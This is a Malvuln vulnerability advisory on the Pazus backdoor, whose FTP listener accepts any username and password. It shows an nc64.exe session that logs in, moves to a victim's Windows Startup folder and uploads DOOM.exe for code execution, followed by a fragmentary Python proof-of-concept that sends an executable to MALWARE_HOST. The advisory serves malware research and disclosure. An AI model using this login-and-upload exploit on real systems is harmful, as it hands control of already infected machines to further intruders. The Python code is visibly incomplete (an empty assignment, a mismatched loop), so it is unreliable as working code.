Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Pazus.18  
Vulnerability: Authentication Bypass RCE  
Description: Pazus malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Type: PE32  
MD5: 5be13eb16018ab69157f8c8e96e7d6bf  
Vuln ID: MVID-2021-0246  
Disclosure: 06/12/2021  
nc64.exe 21  
220 PaSzCzuS FTP Server ready.  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
215 UNIX Type: L8 Internet Component Suite  
CWD C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  
250 CWD command successful. "C:/Users/Victim/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" is current directory.  
227 Entering Passive Mode (192,168,18,127,195,95).  
150 Opening data connection for DOOM.exe.  
226 File received ok  
from socket import *  
#195*256 + 95  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("Backdoor.Win32.Pazus.18 / Authentication Bypass RCE")  
print("MD5: 5be13eb16018ab69157f8c8e96e7d6bf")  
print("By Malvuln");  
if __name__=="__main__":  
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